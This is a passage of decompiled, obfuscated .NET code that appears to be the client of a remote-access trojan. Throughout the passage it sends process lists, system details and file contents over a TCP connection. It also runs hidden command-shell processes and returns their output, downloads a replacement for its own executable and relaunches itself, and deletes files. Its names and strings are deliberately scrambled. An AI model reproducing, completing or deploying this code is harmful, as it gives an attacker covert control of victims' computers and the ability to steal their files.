}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0003);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0006);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0007);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u0091((object) \u0002.\u0001);
\u0002.\u0001 = (TcpClient) null;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u0017\u0004((object) this.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
this.\u0001 = new Mutex(true, \u0002.\u0001.\u0001(1156));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal);
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0013\u0004.\u0092\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
try
{
\u0013\u0004.\u009C\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0083\u0004.\u008F\u0006(1, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
string str = \u008B\u0004.\u0011\u0007(checked ((int) \u0088\u0004.\u0093\u0006(1)));
\u0086\u0004.\u0091\u0006(1, ref str, -1L, false);
int[] numArray1 = new int[1]{ 1 };
\u0084\u0004.\u0090\u0006(numArray1);
str = \u0092\u0002.\u007E\u009A\u0002((object) str, \u0002.\u0004);
\u0083\u0004.\u008F\u0006(1, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
\u0087\u0004.\u0092\u0006(1, \u0099\u0002.\u009E\u0002(str, \u0014\u0002.\u007E\u0097\u0002((object) this.\u0001), this.\u0002(\u0002.\u0004.ToString()), \u0002.\u000F), -1L, false);
int[] numArray2 = new int[1]{ 1 };
\u0084\u0004.\u0090\u0006(numArray2);
Process process = \u0083\u0002.\u009D(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
\u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0017()
{
try
{
\u0002.\u0001 = \u0081\u0002.\u009B();
string str1 = \u0002.\u0001.\u0001(328);
string str2 = \u0002.\u0001.\u0001(328);
string str3 = \u0002.\u0001.\u0001(328);
string str4 = \u0002.\u0001.\u0001(328);
string str5 = \u0002.\u0001.\u0001(328);
string str6 = \u0002.\u0001.\u0001(328);
int num = \u008C\u0002.\u007E\u0087\u0002((object) \u0002.\u0001, 0);
int index = 0;
while (index <= num)
{
try
{
str2 = \u0098\u0002.\u009D\u0002(str2, \u0002.\u0001.\u0001(2130), \u001D\u0002.\u007E\u0083\u0004((object) \u007F\u0002.\u007E\u0099((object) \u0002.\u0001[index])).ToString());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str2 = \u0097\u0002.\u009C\u0002(str2, \u0002.\u0001.\u0001(2135));
\u0016\u0003.\u0001\u0007();
}
try
{
str3 = \u008F\u0004.\u009D\u0006(\u0014\u0002.\u007E\u0097\u0002((object) \u0014\u0002.\u007E\u0094((object) \u0087\u0002.\u007E\u0005\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0002.\u0001[index])))), \u0002.\u0001.\u0001(328), false) != 0 ? \u0098\u0002.\u009D\u0002(str3, \u0002.\u0001.\u0001(2130), \u0014\u0002.\u007E\u0097\u0002((object) \u0014\u0002.\u007E\u0094((object) \u0087\u0002.\u007E\u0005\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0002.\u0001[index]))))) : \u0097\u0002.\u009C\u0002(str3, \u0002.\u0001.\u0001(2135));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str3 = \u0097\u0002.\u009C\u0002(str3, \u0002.\u0001.\u0001(2135));
\u0016\u0003.\u0001\u0007();
}
try
{
str1 = \u0098\u0002.\u009D\u0002(str1, \u0002.\u0001.\u0001(2130), \u0014\u0002.\u007E\u0097\u0002((object) \u009B\u0002.\u0008\u0006(\u0014\u0002.\u007E\u0003\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0002.\u0001[index])))));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2135));
\u0016\u0003.\u0001\u0007();
}
try
{
str4 = \u0098\u0002.\u009D\u0002(str4, \u0002.\u0001.\u0001(2130), \u0014\u0002.\u007E\u0097\u0002((object) \u009B\u0002.\u0007\u0006(\u0014\u0002.\u007E\u0003\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0002.\u0001[index])))));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str4 = \u0097\u0002.\u009C\u0002(str4, \u0002.\u0001.\u0001(2135));
\u0016\u0003.\u0001\u0007();
}
try
{
str5 = \u0099\u0002.\u009E\u0002(str5, \u0002.\u0001.\u0001(2130), ((double) \u001F\u0002.\u007E\u0098((object) \u0002.\u0001[index]) / 1024.0).ToString(), \u0002.\u0001.\u0001(2148));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str5 = \u0097\u0002.\u009C\u0002(str5, \u0002.\u0001.\u0001(2153));
\u0016\u0003.\u0001\u0007();
}
try
{
str6 = \u0098\u0002.\u009D\u0002(str6, \u0002.\u0001.\u0001(2130), \u001D\u0002.\u007E\u0096((object) \u0002.\u0001[index]).ToString());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str6 = \u0097\u0002.\u009C\u0002(str6, \u0002.\u0001.\u0001(2135));
\u0016\u0003.\u0001\u0007();
}
checked { ++index; }
}
string[] strArray = new string[15]
{
\u0002.\u0001.Length.ToString(),
\u0002.\u0001.\u0001(2170),
\u0002.\u0006,
\u0002.\u0001.\u0001(2170),
str1,
\u0002.\u0001.\u0001(2170),
str4,
\u0002.\u0001.\u0001(2170),
str5,
\u0002.\u0001.\u0001(2170),
str6,
\u0002.\u0001.\u0001(2170),
str3,
\u0002.\u0001.\u0001(2170),
str2
};
string str7 = \u009A\u0002.\u009F\u0002(strArray);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str7));
\u0002.\u0001 = (Process[]) null;
\u0015\u0003.\u0090\u0003(0);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0018()
{
\u0002.\u0002 = false;
string str1;
try
{
string str2 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
\u0008\u0004.\u0093\u0005(\u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), str2));
str1 = \u0004\u0004.\u0094\u0005(\u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), str2)) ? \u0002.\u0001.\u0001(1948) : \u0002.\u0001.\u0001(1935);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
str1 = \u0002.\u0001.\u0001(1948);
\u0016\u0003.\u0001\u0007();
}
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str1));
\u0002.\u0002 = true;
\u0015\u0003.\u0090\u0003(0);
}
public void \u0019()
{
try
{
string[] strArray = \u0006\u0004.\u0083\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)));
int index = 0;
while (index < strArray.Length)
{
string str = strArray[index];
if (\u008D\u0002.\u007E\u0093\u0002((object) str, \u0002.\u0001.\u0001(2175)))
{
if (\u008F\u0004.\u009D\u0006(\u009B\u0002.\u0008\u0006(str), \u0002.\u0004, false) != 0)
{
try
{
\u0008\u0004.\u0093\u0005(str);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
}
checked { ++index; }
}
\u0015\u0003.\u0090\u0003(0);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u001A()
{
string str1 = \u0002.\u0001.\u0001(328);
int num = 0;
try
{
string[] strArray = \u0006\u0004.\u0083\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)));
int index = 0;
while (index < strArray.Length)
{
string str2 = strArray[index];
if (\u008D\u0002.\u007E\u0093\u0002((object) str2, \u0002.\u0001.\u0001(2175)))
{
str1 = \u008F\u0004.\u009D\u0006(str1, \u0002.\u0001.\u0001(328), false) != 0 ? \u0098\u0002.\u009D\u0002(str1, \u0002.\u0001.\u0001(2130), \u009B\u0002.\u0008\u0006(str2)) : \u009B\u0002.\u0008\u0006(str2);
checked { ++num; }
}
checked { ++index; }
}
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0098\u0002.\u009D\u0002(\u0014\u0002.\u007E\u0097\u0002((object) str1), \u0002.\u0001.\u0001(225), num.ToString())));
\u0015\u0003.\u0090\u0003(0);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u001B()
{
\u0002.\u0002 = false;
try
{
string str1 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
this.\u000E = \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), str1);
FileInfo fileInfo = new FileInfo(this.\u000E);
\u0006\u0002 obj = \u0006\u0002.\u007E\u007F\u0005;
BinaryWriter binaryWriter = \u0002.\u0001;
string[] strArray = new string[5]
{
\u0014\u0002.\u007E\u009E\u0005((object) fileInfo),
\u0002.\u0001.\u0001(1849),
\u001F\u0002.\u007E\u009F\u0005((object) fileInfo).ToString(),
\u0002.\u0001.\u0001(1849),
4096.ToString()
};
string str2 = this.\u0002(\u009A\u0002.\u009F\u0002(strArray));
obj((object) binaryWriter, str2);
FileStream fileStream = new FileStream(this.\u000E, FileMode.Open, FileAccess.Read);
try
{
byte[] numArray = new byte[4097];
int num = -1;
while (num != 0)
{
num = \u0016\u0002.\u007E\u0004\u0006((object) fileStream, numArray, 0, numArray.Length);
\u0017\u0002.\u007E\u008B((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, num);
}
\u0001\u0002.\u007E\u0019\u0005((object) fileStream);
}
finally
{
if (fileStream != null)
\u0001\u0002.\u007E\u0088\u0002((object) fileStream);
}
\u0002.\u0002 = true;
\u0015\u0003.\u0090\u0003(0);
}
catch (Exception ex1)
{
ProjectData.SetProjectError(ex1);
try
{
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, \u0002.\u0001.\u0001(328));
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, \u0002.\u0001.\u0001(328));
}
catch (Exception ex2)
{
ProjectData.SetProjectError(ex2);
\u0016\u0003.\u0001\u0007();
}
\u0002.\u0002 = true;
\u0016\u0003.\u0001\u0007();
}
}
public void \u001C()
{
try
{
string str1 = \u0002.\u0001.\u0001(328);
string str2 = \u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001);
try
{
string str3 = \u0002.\u0001.\u0001(328);
try
{
\u0002.\u0004 obj = new \u0002.\u0004();
DateTime dateTime = \u0001\u0003.\u0010\u0003();
string str4 = \u0099\u0004.\u0010\u0007(\u0099\u0004.\u0010\u0007(dateTime.ToString(), \u0002.\u0001.\u0001(225), \u0002.\u0001.\u0001(230), 1, -1, CompareMethod.Text), \u0002.\u0001.\u0001(2184), \u0002.\u0001.\u0001(230), 1, -1, CompareMethod.Text);
str1 = \u0099\u0002.\u009E\u0002(\u0011\u0002.\u008B\u0003(), \u0011\u0002.\u0087\u0003(), \u0002.\u0001.\u0001(230), str4);
obj.\u0002(str1, this.\u0003(str2));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
string str5 = this.\u0003(str2);
if (\u008F\u0004.\u009D\u0006(str5, \u0002.\u0001.\u0001(2189), false) == 0)
str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2202));
else if (\u008F\u0004.\u009D\u0006(str5, \u0002.\u0001.\u0001(2211), false) == 0)
str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2202));
else if (\u008F\u0004.\u009D\u0006(str5, \u0002.\u0001.\u0001(2220), false) == 0)
str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2202));
else if (\u008F\u0004.\u009D\u0006(str5, \u0002.\u0001.\u0001(2237), false) == 0)
str1 = \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001.\u0001(2250));
this.\u000E = \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), str1);
FileInfo fileInfo = new FileInfo(this.\u000E);
if (\u0004\u0002.\u007E\u0001\u0006((object) fileInfo))
{
\u0006\u0002 obj = \u0006\u0002.\u007E\u007F\u0005;
BinaryWriter binaryWriter = \u0002.\u0001;
string[] strArray = new string[5]
{
\u0014\u0002.\u007E\u009E\u0005((object) fileInfo),
\u0002.\u0001.\u0001(1849),
\u001F\u0002.\u007E\u009F\u0005((object) fileInfo).ToString(),
\u0002.\u0001.\u0001(1849),
4096.ToString()
};
string str6 = this.\u0002(\u009A\u0002.\u009F\u0002(strArray));
obj((object) binaryWriter, str6);
FileStream fileStream = new FileStream(this.\u000E, FileMode.Open, FileAccess.Read);
try
{
byte[] numArray = new byte[4097];
int num = -1;
while (num != 0)
{
num = \u0016\u0002.\u007E\u0004\u0006((object) fileStream, numArray, 0, numArray.Length);
\u0017\u0002.\u007E\u008B((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, num);
}
\u0001\u0002.\u007E\u0019\u0005((object) fileStream);
}
finally
{
if (fileStream != null)
\u0001\u0002.\u007E\u0088\u0002((object) fileStream);
}
}
else
{
try
{
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2047)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(this.\u000E);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
str3 = (string) null;
this.\u000E = (string) null;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u001D()
{
try
{
string[] strArray = new string[23]
{
\u0014\u0002.\u007E\u0097\u0002((object) \u0002.\u0013),
\u0002.\u0001.\u0001(225),
\u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u0014\u0007()),
\u0002.\u0001.\u0001(225),
\u0002.\u0007,
\u0002.\u0001.\u0001(225),
\u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u008D\u0003()),
\u0002.\u0001.\u0001(225),
\u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u0087\u0003()),
\u0002.\u0001.\u0001(225),
\u0014\u0002.\u007E\u0097\u0002((object) \u0014\u0002.\u007E\u0084\u0006((object) \u0080\u0004.\u007E\u008C\u0006((object) \u0005.\u0001.\u0002()))),
\u0002.\u0001.\u0001(225),
\u009D\u0004.\u007E\u0017\u0007((object) \u001F\u0004.\u007E\u0082\u0006((object) \u0005.\u0001.\u0002())).Width.ToString(),
\u0002.\u0001.\u0001(2259),
\u009D\u0004.\u007E\u0017\u0007((object) \u001F\u0004.\u007E\u0082\u0006((object) \u0005.\u0001.\u0002())).Height.ToString(),
\u0002.\u0001.\u0001(225),
\u0012\u0003.\u0088\u0003().ToString(),
\u0002.\u0001.\u0001(225),
\u000F\u0003.\u007E\u0083\u0006((object) \u0080\u0004.\u007E\u008C\u0006((object) \u0005.\u0001.\u0002())).ToString(),
\u0002.\u0001.\u0001(225),
\u0014\u0002.\u007E\u0087((object) \u0015\u0002.\u007E\u0089((object) \u0012\u0002.\u0084(\u0011\u0002.\u0083()))[0]),
\u0002.\u0001.\u0001(2264),
\u0002.\u0001
};
string str = \u009A\u0002.\u009F\u0002(strArray);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str));
\u0016\u0003.\u0091\u0003();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u001E()
{
try
{
ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0002.\u0001.\u0001(2269), \u0002.\u0001.\u0001(2282));
\u0088\u0002.\u007E\u0011\u0002((object) processStartInfo, ProcessWindowStyle.Hidden);
\u0005\u0002.\u007E\u000E\u0002((object) processStartInfo, true);
\u0005\u0002.\u007E\u000F\u0002((object) processStartInfo, false);
\u0005\u0002.\u007E\u0008\u0002((object) processStartInfo, true);
Process process = \u0086\u0002.\u009F(processStartInfo);
StreamReader streamReader = \u0080\u0002.\u007E\u009A((object) process);
string str1 = \u0014\u0002.\u007E\u0010\u0006((object) streamReader);
string str2 = \u0095\u0002.\u007E\u0099\u0002((object) str1, \u0002.\u0001.\u0001(2130), \u0011\u0002.\u0089\u0003());
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str2));
\u0016\u0003.\u0091\u0003();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u001F()
{
try
{
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
this.\u0005 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0006 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0007 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849)));
\u0002.\u0001 = new string[3]
{
this.\u0005,
this.\u0006,
this.\u0007
};
this.\u0008 = new Thread(new ThreadStart(this.\u0010));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u0008);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u007F()
{
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u008C\u0004.\u0099\u0006(\u0089\u0004.\u0096\u0006(\u0002.\u000E) + \u0089\u0004.\u0096\u0006(\u0002.\u0001.\u0001(1081))));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
this.\u0003 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
if (\u008F\u0004.\u009D\u0006(this.\u0003, \u0002.\u0013, false) != 0)
{
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2303)));
try
{
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
this.\u0008 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0001 = checked ((long) \u000F\u0003.\u0081\u0003(\u000E\u0002.\u0014\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849)))));
this.\u0002 = checked ((long) \u000F\u0003.\u0081\u0003(\u000E\u0002.\u0014\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849)))));
this.\u000F = \u0097\u0002.\u000F\u0006(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068)), this.\u0008);
try
{
\u0008\u0004.\u0093\u0005(this.\u000F);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
byte[] numArray = new byte[checked ((int) this.\u0002 + 1)];
long num1 = 0;
FileStream fileStream = new FileStream(this.\u000F, FileMode.Create, FileAccess.Write);
try
{
while (num1 != this.\u0001)
{
int num2 = \u0016\u0002.\u007E\u008A((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, numArray.Length);
\u0017\u0002.\u007E\u0005\u0006((object) fileStream, numArray, 0, num2);
checked { num1 += (long) num2; }
\u0001\u0002.\u007E\u0003\u0006((object) fileStream);
}
\u0001\u0002.\u007E\u0019\u0005((object) fileStream);
}
finally
{
if (fileStream != null)
\u0001\u0002.\u007E\u0088\u0002((object) fileStream);
}
\u0013\u0004.\u009C\u0005(this.\u000F, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
this.\u0005();
}
catch (Exception ex1)
{
ProjectData.SetProjectError(ex1);
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
}
catch (Exception ex2)
{
ProjectData.SetProjectError(ex2);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u008C\u0004.\u0099\u0006(\u0089\u0004.\u0096\u0006(\u0002.\u000E) + \u0089\u0004.\u0096\u0006(\u0002.\u0001.\u0001(1081))));
}
catch (Exception ex3)
{
ProjectData.SetProjectError(ex3);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(this.\u000F);
}
catch (Exception ex4)
{
ProjectData.SetProjectError(ex4);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, \u0002.\u0001.\u0001(328));
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, \u0002.\u0001.\u0001(328));
}
catch (Exception ex5)
{
ProjectData.SetProjectError(ex5);
\u0016\u0003.\u0001\u0007();
}
\u0016\u0003.\u0001\u0007();
}
}
else
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2316)));
\u0015\u0003.\u0090\u0003(0);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0080()
{
try
{
this.\u000E = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
FileInfo fileInfo = new FileInfo(this.\u000E);
try
{
FileStream fileStream = \u0016\u0004.\u009A\u0005(this.\u000E);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2047)));
\u0016\u0003.\u0001\u0007();
}
\u0006\u0002 obj = \u0006\u0002.\u007E\u007F\u0005;
BinaryWriter binaryWriter = \u0002.\u0001;
string[] strArray = new string[5]
{
\u0014\u0002.\u007E\u009E\u0005((object) fileInfo),
\u0002.\u0001.\u0001(1849),
\u001F\u0002.\u007E\u009F\u0005((object) fileInfo).ToString(),
\u0002.\u0001.\u0001(1849),
4096.ToString()
};
string str = this.\u0002(\u009A\u0002.\u009F\u0002(strArray));
obj((object) binaryWriter, str);
FileStream fileStream1 = new FileStream(this.\u000E, FileMode.Open, FileAccess.Read);
try
{
byte[] numArray = new byte[4097];
int num = -1;
while (num != 0)
{
num = \u0016\u0002.\u007E\u0004\u0006((object) fileStream1, numArray, 0, numArray.Length);
\u0017\u0002.\u007E\u008B((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, num);
}
\u0001\u0002.\u007E\u0019\u0005((object) fileStream1);
}
finally
{
if (fileStream1 != null)
\u0001\u0002.\u007E\u0088\u0002((object) fileStream1);
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0081()
{
try
{
string str1 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0002.\u0001.\u0001(2269), \u0097\u0002.\u009C\u0002(\u0002.\u0001.\u0001(2333), str1));
\u0088\u0002.\u007E\u0011\u0002((object) processStartInfo, ProcessWindowStyle.Hidden);
\u0005\u0002.\u007E\u000E\u0002((object) processStartInfo, true);
\u0005\u0002.\u007E\u000F\u0002((object) processStartInfo, false);
\u0005\u0002.\u007E\u0008\u0002((object) processStartInfo, true);
Process process = \u0086\u0002.\u009F(processStartInfo);
StreamReader streamReader = \u0080\u0002.\u007E\u009A((object) process);
string str2 = \u0014\u0002.\u007E\u0010\u0006((object) streamReader);
string str3 = \u0095\u0002.\u007E\u0099\u0002((object) str2, \u0011\u0002.\u0089\u0003(), \u0002.\u0001.\u0001(2130));
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str3));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2338)));
\u0016\u0003.\u0001\u0007();
}
\u0015\u0003.\u0090\u0003(0);
\u0002.\u0007();
}
public void \u0082()
{
try
{
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
string str = this.\u0001;
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(2387), false) == 0)
{
try
{
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
this.\u0010 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0001 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0002 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0011 = \u0002.\u0001.\u0001(1037);
\u0015\u0003.\u001B\u0004(300);
this.\u0011 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(4, this.\u0001, \u0002.\u0001.\u0001(1849)));
\u0002.\u0005 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(3, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u000E = new Thread(new ThreadStart(this.\u0087));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u000E);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
else
{
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(2392), false) != 0)
return;
try
{
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(this.\u0011));
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
this.\u0010 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0001 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0002 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u0011 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(4, this.\u0001, \u0002.\u0001.\u0001(1849)));
\u0002.\u0005 = \u001D\u0002.\u0095\u0006(\u0002.\u0002(3, this.\u0001, \u0002.\u0001.\u0001(1849)));
this.\u000E = new Thread(new ThreadStart(this.\u0087));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u000E);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0083()
{
try
{
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
object obj = \u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(225));
